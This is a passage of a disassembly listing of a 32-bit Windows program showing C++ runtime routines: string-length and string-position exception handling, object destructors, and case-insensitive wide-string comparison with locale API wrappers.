; ---------------------------------------------------------------------------
loc_426449: ; CODE XREF: sub_4263F1+39j
xor eax, eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_42644D: ; CODE XREF: sub_4263F1+49j
lea eax, [ecx-1]
pop ebp
retn
; ---------------------------------------------------------------------------
loc_426452: ; CODE XREF: sub_4263F1+25j
; sub_4263F1+53j
movzx edx, ax
mov eax, [ebp+arg_4]
sub eax, edx
neg eax
sbb eax, eax
not eax
and eax, ecx
pop ebp
retn
sub_4263F1 endp
; =============== S U B R O U T I N E =======================================
sub_426464 proc near ; CODE XREF: sub_417EEF+21p
; sub_42638A+4Ep
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jz short loc_42648B
push esi
call sub_41AFE0
inc eax
push eax
call sub_41B4D5
pop ecx
test eax, eax
pop ecx
jz short loc_42648B
push esi
push eax
call sub_41BEB0
pop ecx
pop ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_42648B: ; CODE XREF: sub_426464+7j
; sub_426464+1Aj
xor eax, eax
pop esi
retn
sub_426464 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_426490 proc near ; CODE XREF: sub_426573+19p
; sub_42669A+19p
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
xor eax, eax
mov [esi+4], eax
mov [esi+8], eax
mov [esi+0Ch], eax
call sub_41AFE0
pop ecx
push eax
push [esp+8+arg_0]
mov ecx, esi
call sub_40D6F0
mov eax, esi
pop esi
retn 8
sub_426490 endp
; =============== S U B R O U T I N E =======================================
sub_4264BA proc near ; CODE XREF: ___:004264E5p
; sub_426568+6j ...
push esi
mov esi, ecx
push 1
lea ecx, [esi+0Ch]
mov dword ptr [esi], offset off_427D04
call sub_40D6B4
mov ecx, esi
pop esi
jmp sub_4268B6
sub_4264BA endp
; =============== S U B R O U T I N E =======================================
sub_4264D5 proc near ; DATA XREF: ___:00427D08o
; ___:00427D18o ...
mov eax, [ecx+10h]
test eax, eax
jnz short locret_4264E1
mov eax, offset dword_4276A0
locret_4264E1: ; CODE XREF: sub_4264D5+5j
retn
sub_4264D5 endp
; ---------------------------------------------------------------------------
loc_4264E2: ; DATA XREF: ___:off_427D04o
push esi
mov esi, ecx
call sub_4264BA
test byte ptr [esp+8], 1
jz short loc_4264F8
push esi
call sub_41CC83
pop ecx
loc_4264F8: ; CODE XREF: ___:004264EFj
mov eax, esi
pop esi
retn 4
; =============== S U B R O U T I N E =======================================
sub_4264FE proc near ; CODE XREF: sub_426573+29p
mov eax, offset loc_426E32
call sub_41CC64
push ecx
push ecx
push esi
lea eax, [ebp-10h]
mov esi, ecx
push eax
mov [ebp-14h], esi
mov dword ptr [ebp-10h], offset dword_427D20
call sub_42682F
push dword ptr [ebp+8]
and dword ptr [ebp-4], 0
lea ecx, [esi+0Ch]
mov dword ptr [esi], offset off_427D04
call sub_4265B0
mov ecx, [ebp-0Ch]
mov dword ptr [esi], offset off_427D14
mov eax, esi
pop esi
mov large fs:0, ecx
leave
retn 4
sub_4264FE endp
; =============== S U B R O U T I N E =======================================
sub_42654C proc near ; DATA XREF: ___:off_427D14o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_426568
test [esp+4+arg_0], 1
jz short loc_426562
push esi
call sub_41CC83
pop ecx
loc_426562: ; CODE XREF: sub_42654C+Dj
mov eax, esi
pop esi
retn 4
sub_42654C endp
; =============== S U B R O U T I N E =======================================
sub_426568 proc near ; CODE XREF: sub_42654C+3p
; DATA XREF: ___:0042808Co
mov dword ptr [ecx], offset off_427D14
jmp sub_4264BA
sub_426568 endp
; =============== S U B R O U T I N E =======================================
sub_426573 proc near ; CODE XREF: sub_40D561+13p
; sub_40D725+Ep
mov eax, offset loc_426E44
call sub_41CC64
sub esp, 30h
lea eax, [ebp-0Dh]
push eax
push offset aInvalidStringP ; "invalid string position"
lea ecx, [ebp-20h]
call sub_426490
and dword ptr [ebp-4], 0
lea eax, [ebp-20h]
push eax
lea ecx, [ebp-3Ch]
call sub_4264FE
push offset dword_428088
lea eax, [ebp-3Ch]
push eax
call sub_4268D9
int 3 ; Trap to Debugger
sub_426573 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4265B0 proc near ; CODE XREF: sub_4264FE+32p
; sub_4265D0+32p ...
arg_0 = dword ptr 4
push esi
xor eax, eax
push 0FFFFFFFFh
mov esi, ecx
push eax
push [esp+0Ch+arg_0]
mov [esi+4], eax
mov [esi+8], eax
mov [esi+0Ch], eax
call sub_40D561
mov eax, esi
pop esi
retn 4
sub_4265B0 endp
; =============== S U B R O U T I N E =======================================
sub_4265D0 proc near ; CODE XREF: sub_42669A+29p
mov eax, offset loc_426E56
call sub_41CC64
push ecx
push ecx
push esi
lea eax, [ebp-10h]
mov esi, ecx
push eax
mov [ebp-14h], esi
mov dword ptr [ebp-10h], offset dword_427D20
call sub_42682F
push dword ptr [ebp+8]
and dword ptr [ebp-4], 0
lea ecx, [esi+0Ch]
mov dword ptr [esi], offset off_427D04
call sub_4265B0
mov ecx, [ebp-0Ch]
mov eax, esi
pop esi
mov large fs:0, ecx
leave
retn 4
sub_4265D0 endp
; =============== S U B R O U T I N E =======================================
sub_426618 proc near ; CODE XREF: sub_426682+7p
; sub_4266DE+7p ...
mov eax, offset loc_426E68
call sub_41CC64
push ecx
push esi
push edi
mov edi, [ebp+8]
mov esi, ecx
push edi
mov [ebp-10h], esi
call sub_42686C
and dword ptr [ebp-4], 0
add edi, 0Ch
push edi
lea ecx, [esi+0Ch]
mov dword ptr [esi], offset off_427D04
call sub_4265B0
mov ecx, [ebp-0Ch]
pop edi
mov eax, esi
pop esi
mov large fs:0, ecx
leave
retn 4
sub_426618 endp
; =============== S U B R O U T I N E =======================================
sub_42665B proc near ; DATA XREF: ___:off_427D40o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_426677
test [esp+4+arg_0], 1
jz short loc_426671
push esi
call sub_41CC83
pop ecx
loc_426671: ; CODE XREF: sub_42665B+Dj
mov eax, esi
pop esi
retn 4
sub_42665B endp
; =============== S U B R O U T I N E =======================================
sub_426677 proc near ; CODE XREF: sub_42665B+3p
; DATA XREF: ___:00428134o
mov dword ptr [ecx], offset off_427D40
jmp sub_4264BA
sub_426677 endp
; =============== S U B R O U T I N E =======================================
sub_426682 proc near ; CODE XREF: sub_4266F6+46p
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
call sub_426618
mov dword ptr [esi], offset off_427D14
mov eax, esi
pop esi
retn 4
sub_426682 endp
; =============== S U B R O U T I N E =======================================
sub_42669A proc near ; CODE XREF: sub_40D4B1+15p
; sub_40D50A+15p ...
mov eax, offset loc_426E7A
call sub_41CC64
sub esp, 30h
lea eax, [ebp-0Dh]
push eax
push offset aStringTooLong ; "string too long"
lea ecx, [ebp-20h]
call sub_426490
and dword ptr [ebp-4], 0
lea eax, [ebp-20h]
push eax
lea ecx, [ebp-3Ch]
call sub_4265D0
push offset dword_428130
lea eax, [ebp-3Ch]
push eax
mov dword ptr [ebp-3Ch], offset off_427D40
call sub_4268D9
int 3 ; Trap to Debugger
sub_42669A endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4266DE proc near ; CODE XREF: sub_4266F6+28p
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
call sub_426618
mov dword ptr [esi], offset off_427D40
mov eax, esi
pop esi
retn 4
sub_4266DE endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_4266F6 proc near ; DATA XREF: ___:00427D0Co
var_1C = byte ptr -1Ch
push ebp
mov ebp, esp
sub esp, 1Ch
push ecx
lea ecx, [ebp+var_1C]
call sub_426618
push offset dword_428170
lea eax, [ebp+var_1C]
push eax
call sub_4268D9
int 3 ; Trap to Debugger
loc_426714: ; DATA XREF: ___:00427D48o
push ebp
mov ebp, esp
sub esp, 1Ch
push ecx
lea ecx, [ebp+var_1C]
call sub_4266DE
push offset dword_428130
lea eax, [ebp+var_1C]
push eax
call sub_4268D9
int 3 ; Trap to Debugger
loc_426732: ; DATA XREF: ___:00427D1Co
push ebp
mov ebp, esp
sub esp, 1Ch
push ecx
lea ecx, [ebp+var_1C]
call sub_426682
push offset dword_428088
lea eax, [ebp+var_1C]
push eax
call sub_4268D9
int 3 ; Trap to Debugger
sub_4266F6 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_426750 proc near
nop
jmp near ptr 71B2ACCBh
sub_426750 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_426756 proc near ; CODE XREF: sub_40CE41+5Ep
; ___:00414BE6p ...
jmp near ptr 71AB1B7Bh
sub_426756 endp
; ---------------------------------------------------------------------------
db 0EBh
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_42675C proc near ; CODE XREF: sub_41C8D0+23p
; sub_41CB74+13p
nop
jmp near ptr 2850000h
sub_42675C endp
; =============== S U B R O U T I N E =======================================
sub_426762 proc near ; CODE XREF: sub_417276+E2p
; sub_417276+F9p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp dword_4DBA14, 0
push ebx
jnz short loc_4267A8
mov edx, [esp+4+arg_4]
mov ecx, [esp+4+arg_0]
loc_426774: ; CODE XREF: sub_426762+42j
mov bx, [ecx]
cmp bx, 5Ah
ja short loc_426786
cmp bx, 41h
jb short loc_426786
add ebx, 20h
loc_426786: ; CODE XREF: sub_426762+19j
; sub_426762+1Fj
mov ax, [edx]
cmp ax, 5Ah
ja short loc_426798
cmp ax, 41h
jb short loc_426798
add eax, 20h
loc_426798: ; CODE XREF: sub_426762+2Bj
; sub_426762+31j
inc ecx
inc ecx
inc edx
inc edx
test bx, bx
jz short loc_4267D8
cmp bx, ax
jz short loc_426774
jmp short loc_4267D8
; ---------------------------------------------------------------------------
loc_4267A8: ; CODE XREF: sub_426762+8j
push esi
mov esi, [esp+8+arg_0]
push edi
mov edi, [esp+0Ch+arg_4]
loc_4267B2: ; CODE XREF: sub_426762+72j
mov ax, [esi]
inc esi
push eax
inc esi
call sub_426913
mov ebx, eax
mov ax, [edi]
inc edi
push eax
inc edi
call sub_426913
pop ecx
test bx, bx
pop ecx
jz short loc_4267D6
cmp bx, ax
jz short loc_4267B2
loc_4267D6: ; CODE XREF: sub_426762+6Dj
pop edi
pop esi
loc_4267D8: ; CODE XREF: sub_426762+3Dj
; sub_426762+44j
movzx ecx, ax
movzx eax, bx
sub eax, ecx
pop ebx
retn
sub_426762 endp
; =============== S U B R O U T I N E =======================================
sub_4267E2 proc near ; CODE XREF: ___:004267FAp
mov dword ptr [ecx], offset off_427D60
mov ecx, [ecx+4]
test ecx, ecx
jz short locret_4267F6
push ecx
call sub_41B0B1
pop ecx
locret_4267F6: ; CODE XREF: sub_4267E2+Bj
retn
sub_4267E2 endp
; ---------------------------------------------------------------------------
loc_4267F7: ; DATA XREF: ___:off_427D60o
push esi
mov esi, ecx
call sub_4267E2
test byte ptr [esp+8], 1
jz short loc_42680D
push esi
call sub_41CC83
pop ecx
loc_42680D: ; CODE XREF: ___:00426804j
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_426813: ; DATA XREF: ___:off_427D68o
push esi
mov esi, ecx
call sub_4268B6
test byte ptr [esp+8], 1
jz short loc_426829
push esi
call sub_41CC83
pop ecx
loc_426829: ; CODE XREF: ___:00426820j
mov eax, esi
pop esi
retn 4
; =============== S U B R O U T I N E =======================================
sub_42682F proc near ; CODE XREF: sub_4264FE+1Dp
; sub_4265D0+1Dp
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
mov dword ptr [esi], offset off_427D68
push dword ptr [edi]
call sub_41AFE0
inc eax
push eax
call sub_41CFC5
pop ecx
mov [esi+4], eax
test eax, eax
pop ecx
jz short loc_42685E
push dword ptr [edi]
push eax
call sub_41BEB0
pop ecx
pop ecx
loc_42685E: ; CODE XREF: sub_42682F+23j
mov dword ptr [esi+8], 1
mov eax, esi
pop edi
pop esi
retn 4
sub_42682F endp
; =============== S U B R O U T I N E =======================================
sub_42686C proc near ; CODE XREF: sub_426618+16p
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
mov dword ptr [esi], offset off_427D68
mov eax, [edi+8]
test eax, eax
mov [esi+8], eax
jz short loc_4268A9
push dword ptr [edi+4]
call sub_41AFE0
inc eax
push eax
call sub_41CFC5
pop ecx
mov [esi+4], eax
test eax, eax
pop ecx
jz short loc_4268AF
push dword ptr [edi+4]
push eax
call sub_41BEB0
pop ecx
pop ecx
jmp short loc_4268AF
; ---------------------------------------------------------------------------
loc_4268A9: ; CODE XREF: sub_42686C+16j
mov eax, [edi+4]
mov [esi+4], eax
loc_4268AF: ; CODE XREF: sub_42686C+2Ej
; sub_42686C+3Bj
mov eax, esi
pop edi
pop esi
retn 4
sub_42686C endp
; =============== S U B R O U T I N E =======================================
sub_4268B6 proc near ; CODE XREF: sub_4264BA+16j
; ___:00426816p ...
cmp dword ptr [ecx+8], 0
mov dword ptr [ecx], offset off_427D68
jz short locret_4268CB
push dword ptr [ecx+4]
call sub_41CC83
pop ecx
locret_4268CB: ; CODE XREF: sub_4268B6+Aj
retn
sub_4268B6 endp
; =============== S U B R O U T I N E =======================================
sub_4268CC proc near ; DATA XREF: ___:00427D6Co
mov eax, [ecx+4]
test eax, eax
jnz short locret_4268D8
mov eax, offset aUnknownExcepti ; "Unknown exception"
locret_4268D8: ; CODE XREF: sub_4268CC+5j
retn
sub_4268CC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4268D9 proc near ; CODE XREF: sub_426573+37p
; sub_42669A+3Ep ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
push edi
push 8
pop ecx
mov esi, offset dword_427D88
lea edi, [ebp+var_20]
rep movsd
mov [ebp+var_8], eax
mov eax, [ebp+arg_4]
mov [ebp+var_4], eax
lea eax, [ebp+var_C]
push eax
push [ebp+var_10]
push [ebp+var_1C]
push [ebp+var_20]
nop
call near ptr 2660353h
pop edi
pop esi
leave
retn 8
sub_4268D9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426913 proc near ; CODE XREF: sub_426762+56p
; sub_426762+63p
var_2 = word ptr -2
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
cmp ax, 0FFFFh
jnz short loc_426925
or ax, ax
leave
retn
; ---------------------------------------------------------------------------
loc_426925: ; CODE XREF: sub_426913+Bj
cmp dword_4DBA14, 0
jnz short loc_42693F
cmp ax, 41h
jb short locret_426986
cmp ax, 5Ah
ja short locret_426986
add eax, 20h
leave
retn
; ---------------------------------------------------------------------------
loc_42693F: ; CODE XREF: sub_426913+19j
cmp ax, 100h
jnb short loc_426959
push 1
push eax
call sub_426BC1
pop ecx
test eax, eax
pop ecx
jnz short loc_426959
mov ax, word ptr [ebp+arg_0]
leave
retn
; ---------------------------------------------------------------------------
loc_426959: ; CODE XREF: sub_426913+30j
; sub_426913+3Ej
push 0
lea eax, [ebp+var_2]
push 1
push eax
lea eax, [ebp+arg_0]
push 1
push eax
push 100h
push dword_4DBA14
call sub_426988
add esp, 1Ch
test eax, eax
mov ax, word ptr [ebp+arg_0]
jz short locret_426986
mov ax, [ebp+var_2]
locret_426986: ; CODE XREF: sub_426913+1Fj
; sub_426913+25j ...
leave
retn
sub_426913 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426988 proc near ; CODE XREF: sub_426913+5Fp
var_2C = dword ptr -2Ch
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_427DA8
push offset sub_4234B8
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
xor esi, esi
cmp dword_4DBC6C, esi
jnz short loc_4269FE
push esi
push esi
push 1
pop ebx
push ebx
push offset dword_427938
mov edi, 100h
push edi
push esi
call near ptr 2640000h
nop
test eax, eax
jz short loc_4269DC
mov dword_4DBC6C, ebx
jmp short loc_4269FE
; ---------------------------------------------------------------------------
loc_4269DC: ; CODE XREF: sub_426988+4Aj
push esi
push esi
push ebx
push offset dword_4CB50C
push edi
push esi
nop
call near ptr 2650000h
test eax, eax
jz loc_426B7D
mov dword_4DBC6C, 2
loc_4269FE: ; CODE XREF: sub_426988+2Ej
; sub_426988+52j
cmp [ebp+arg_C], esi
jle short loc_426A13
push [ebp+arg_C]
push [ebp+arg_8]
call sub_426B91
pop ecx
pop ecx
mov [ebp+arg_C], eax
loc_426A13: ; CODE XREF: sub_426988+79j
mov eax, dword_4DBC6C
cmp eax, 1
jnz short loc_426A3A
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
nop
call near ptr 2640000h
jmp loc_426B7F
; ---------------------------------------------------------------------------
loc_426A3A: ; CODE XREF: sub_426988+93j
cmp eax, 2
jnz loc_426B7D
cmp [ebp+arg_18], esi
jnz short loc_426A50
mov eax, dword_4DBA24
mov [ebp+arg_18], eax
loc_426A50: ; CODE XREF: sub_426988+BEj
push esi
push esi
push esi
push esi
push [ebp+arg_C]
push [ebp+arg_8]
push 220h
push [ebp+arg_18]
call near ptr 280105Fh
nop
mov [ebp+var_20], eax
cmp eax, esi
jz loc_426B7D
mov [ebp+var_4], esi
add eax, 3
and al, 0FCh
call sub_41BB20
mov [ebp+var_18], esp
mov eax, esp
mov [ebp+var_1C], eax
jmp short loc_426A96
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor esi, esi
mov [ebp+var_1C], esi
loc_426A96: ; CODE XREF: sub_426988+100j
or [ebp+var_4], 0FFFFFFFFh
cmp [ebp+var_1C], esi
jz loc_426B7D
push esi
push esi
push [ebp+var_20]
push [ebp+var_1C]
push [ebp+arg_C]
push [ebp+arg_8]
push 220h
push [ebp+arg_18]
call near ptr 280105Fh
nop
test eax, eax
jz loc_426B7D
push esi
push esi
push [ebp+var_20]
push [ebp+var_1C]
push [ebp+arg_4]
push [ebp+arg_0]
nop
call near ptr 2650000h
mov edi, eax
mov [ebp+var_2C], edi
cmp edi, esi
jz loc_426B7D
mov [ebp+var_4], 1
add eax, 3
and al, 0FCh
call sub_41BB20
mov [ebp+var_18], esp
mov ebx, esp
mov [ebp+var_24], ebx
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_426B19
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor esi, esi
xor ebx, ebx
or [ebp+var_4], 0FFFFFFFFh
mov edi, [ebp+var_2C]
loc_426B19: ; CODE XREF: sub_426988+17Dj
cmp ebx, esi
jz short loc_426B7D
push edi
push ebx
push [ebp+var_20]
push [ebp+var_1C]
push [ebp+arg_4]
push [ebp+arg_0]
call near ptr 2650000h
nop
test eax, eax
jz short loc_426B7D
test byte ptr [ebp+arg_4+1], 4
jz short loc_426B57
mov eax, [ebp+arg_14]
cmp eax, esi
jz short loc_426B79
cmp eax, edi
jl short loc_426B48
mov eax, edi
loc_426B48: ; CODE XREF: sub_426988+1BCj
push eax
push ebx
push [ebp+arg_10]
call sub_41B5F0
add esp, 0Ch
jmp short loc_426B79
; ---------------------------------------------------------------------------
loc_426B57: ; CODE XREF: sub_426988+1B1j
cmp [ebp+arg_14], esi
jnz short loc_426B60
push esi
push esi
jmp short loc_426B66
; ---------------------------------------------------------------------------
loc_426B60: ; CODE XREF: sub_426988+1D2j
push [ebp+arg_14]
push [ebp+arg_10]
loc_426B66: ; CODE XREF: sub_426988+1D6j
push edi
push ebx
push 1
push [ebp+arg_18]
nop
call near ptr 2810000h
mov edi, eax
cmp edi, esi
jz short loc_426B7D
loc_426B79: ; CODE XREF: sub_426988+1B8j
; sub_426988+1CDj
mov eax, edi
jmp short loc_426B7F
; ---------------------------------------------------------------------------
loc_426B7D: ; CODE XREF: sub_426988+66j
; sub_426988+B5j ...
xor eax, eax
loc_426B7F: ; CODE XREF: sub_426988+ADj
; sub_426988+1F3j
lea esp, [ebp-38h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_426988 endp
; =============== S U B R O U T I N E =======================================
sub_426B91 proc near ; CODE XREF: sub_426988+81p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_4]
mov eax, [esp+arg_0]
test edx, edx
push esi
lea ecx, [edx-1]
jz short loc_426BB0
loc_426BA1: ; CODE XREF: sub_426B91+1Dj
cmp word ptr [eax], 0
jz short loc_426BB0
inc eax
mov esi, ecx
inc eax
dec ecx
test esi, esi
jnz short loc_426BA1
loc_426BB0: ; CODE XREF: sub_426B91+Ej
; sub_426B91+14j
cmp word ptr [eax], 0
pop esi
jnz short loc_426BBE
sub eax, [esp+arg_0]
sar eax, 1
retn
; ---------------------------------------------------------------------------
loc_426BBE: ; CODE XREF: sub_426B91+24j
mov eax, edx
retn
sub_426B91 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426BC1 proc near ; CODE XREF: sub_426913+35p
var_4 = dword ptr -4
arg_0 = word ptr 8
arg_4 = word ptr 0Ch
push ebp
mov ebp, esp
push ecx
cmp [ebp+arg_0], 0FFFFh
jz short loc_426C01
cmp [ebp+arg_0], 100h
jnb short loc_426BE5
movzx eax, [ebp+arg_0]
mov ecx, off_43C9DC
mov ax, [ecx+eax*2]
jmp short loc_426C08
; ---------------------------------------------------------------------------
loc_426BE5: ; CODE XREF: sub_426BC1+12j
push 0
lea eax, [ebp+var_4]
push 0
push eax
lea eax, [ebp+arg_0]
push 1
push eax
push 1
call sub_426C13
add esp, 18h
test eax, eax
jnz short loc_426C05
loc_426C01: ; CODE XREF: sub_426BC1+Aj
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_426C05: ; CODE XREF: sub_426BC1+3Ej
mov eax, [ebp+var_4]
loc_426C08: ; CODE XREF: sub_426BC1+22j
movzx ecx, [ebp+arg_4]
movzx eax, ax
and eax, ecx
leave
retn
sub_426BC1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426C13 proc near ; CODE XREF: sub_426BC1+34p
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_427DC0
push offset sub_4234B8
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, dword_4DBC70
xor edi, edi
cmp eax, edi
jnz short loc_426C82
lea eax, [ebp+var_1C]
push eax
push 1
pop esi
push esi
push offset dword_427938
push esi
nop
call near ptr 2600591h
test eax, eax
jz short loc_426C60
mov eax, esi
jmp short loc_426C7D
; ---------------------------------------------------------------------------
loc_426C60: ; CODE XREF: sub_426C13+47j
lea eax, [ebp+var_1C]
push eax
push esi
push offset dword_4CB50C
push esi
push edi
nop
call near ptr 2610000h
test eax, eax
jz loc_426DC4
push 2
pop eax
loc_426C7D: ; CODE XREF: sub_426C13+4Bj
mov dword_4DBC70, eax
loc_426C82: ; CODE XREF: sub_426C13+2Fj
cmp eax, 1
jnz short loc_426C9E
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
nop
call near ptr 2600591h
jmp loc_426DC6
; ---------------------------------------------------------------------------
loc_426C9E: ; CODE XREF: sub_426C13+72j
cmp eax, 2
jnz loc_426DC4
cmp [ebp+arg_10], edi
jnz short loc_426CB4
mov eax, dword_4DBA24
mov [ebp+arg_10], eax
loc_426CB4: ; CODE XREF: sub_426C13+97j
push edi
push edi
push edi
push edi
push [ebp+arg_8]
push [ebp+arg_4]
push 220h
push [ebp+arg_10]
nop
call near ptr 280105Fh
mov esi, eax
mov [ebp+var_28], esi
cmp esi, edi
jz loc_426DC4
mov [ebp+var_4], edi
add eax, 3
and al, 0FCh
call sub_41BB20
mov [ebp+var_18], esp
mov eax, esp
mov [ebp+var_2C], eax
push esi
push edi
push eax
call sub_41B590
add esp, 0Ch
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_426D12
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor edi, edi
mov [ebp+var_2C], edi
or [ebp+var_4], 0FFFFFFFFh
mov esi, [ebp+var_28]
loc_426D12: ; CODE XREF: sub_426C13+EAj
cmp [ebp+var_2C], edi
jz loc_426DC4
push edi
push edi
push esi
push [ebp+var_2C]
push [ebp+arg_8]
push [ebp+arg_4]
push 220h
push [ebp+arg_10]
nop
call near ptr 280105Fh
test eax, eax
jz loc_426DC4
mov [ebp+var_4], 1
lea eax, [esi+esi+2]
add eax, 3
and al, 0FCh
call sub_41BB20
mov [ebp+var_18], esp
mov ebx, esp
mov [ebp+var_24], ebx
jmp short loc_426D67
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor edi, edi
xor ebx, ebx
loc_426D67: ; CODE XREF: sub_426C13+147j
or [ebp+var_4], 0FFFFFFFFh
cmp ebx, edi
jz short loc_426DC4
mov eax, [ebp+arg_14]
cmp eax, edi
jnz short loc_426D7B
mov eax, dword_4DBA14
loc_426D7B: ; CODE XREF: sub_426C13+161j
mov ecx, [ebp+arg_8]
lea edi, [ecx+ecx]
lea esi, [edi+ebx]
or word ptr [esi], 0FFFFh
or word ptr [esi-2], 0FFFFh
push ebx
push [ebp+var_28]
push [ebp+var_2C]
push [ebp+arg_0]
push eax
nop
call near ptr 2610000h
mov [ebp+var_20], eax
cmp word ptr [esi-2], 0FFFFh
jz short loc_426DC4
cmp word ptr [esi], 0FFFFh
jnz short loc_426DC4
push edi
push ebx
push [ebp+arg_C]
call sub_41CC90
add esp, 0Ch
mov eax, [ebp+var_20]
jmp short loc_426DC6
; ---------------------------------------------------------------------------
loc_426DC4: ; CODE XREF: sub_426C13+61j
; sub_426C13+8Ej ...
xor eax, eax
loc_426DC6: ; CODE XREF: sub_426C13+86j
; sub_426C13+1AFj
lea esp, [ebp-38h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_426C13 endp
; =============== S U B R O U T I N E =======================================
sub_426DD8 proc near ; DATA XREF: ___:00427F74o
; FUNCTION CHUNK AT 0040D4A9 SIZE 00000008 BYTES
lea ecx, [ebp-38h]
jmp loc_40D4A9
sub_426DD8 endp
; ---------------------------------------------------------------------------
mov eax, [ebp-20h]
and eax, 1
test eax, eax
jz locret_426DF6
mov ecx, [ebp+8]
jmp loc_40D4A9
; ---------------------------------------------------------------------------
locret_426DF6: ; CODE XREF: ___:00426DE8j
retn
; ---------------------------------------------------------------------------
loc_426DF7: ; DATA XREF: sub_40D07Do
mov eax, offset dword_427F48
jmp loc_41C91F
; ---------------------------------------------------------------------------
align 4
lea ecx, [ebp+14h]
jmp loc_40D4A9
; ---------------------------------------------------------------------------
loc_426E0C: ; DATA XREF: ___:00427FA4o
lea ecx, [ebp-1Ch]
jmp loc_40D4A9
; ---------------------------------------------------------------------------
loc_426E14: ; DATA XREF: sub_40D21Fo
mov eax, offset dword_427F78
jmp loc_41C91F
; ---------------------------------------------------------------------------
align 10h
loc_426E20: ; DATA XREF: sub_40D78Co
mov eax, offset dword_427FA8
jmp loc_41C91F
; ---------------------------------------------------------------------------
mov ecx, [ebp-14h]
jmp sub_4268B6
; ---------------------------------------------------------------------------
loc_426E32: ; DATA XREF: sub_4264FEo
mov eax, offset dword_428008
jmp loc_41C91F
; ---------------------------------------------------------------------------
lea ecx, [ebp-20h]
jmp loc_40D4A9
; ---------------------------------------------------------------------------
loc_426E44: ; DATA XREF: sub_426573o
mov eax, offset dword_4280A0
jmp loc_41C91F
; ---------------------------------------------------------------------------
mov ecx, [ebp-14h]
jmp sub_4268B6
; ---------------------------------------------------------------------------
loc_426E56: ; DATA XREF: sub_4265D0o
mov eax, offset dword_4280C4
jmp loc_41C91F
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
jmp sub_4268B6
; ---------------------------------------------------------------------------
loc_426E68: ; DATA XREF: sub_426618o
mov eax, offset dword_4280E8
jmp loc_41C91F
; ---------------------------------------------------------------------------
lea ecx, [ebp-20h]
jmp loc_40D4A9
; ---------------------------------------------------------------------------
loc_426E7A: ; DATA XREF: sub_42669Ao
mov eax, offset dword_428148
jmp loc_41C91F
; ---------------------------------------------------------------------------
dd 5Fh dup(0)
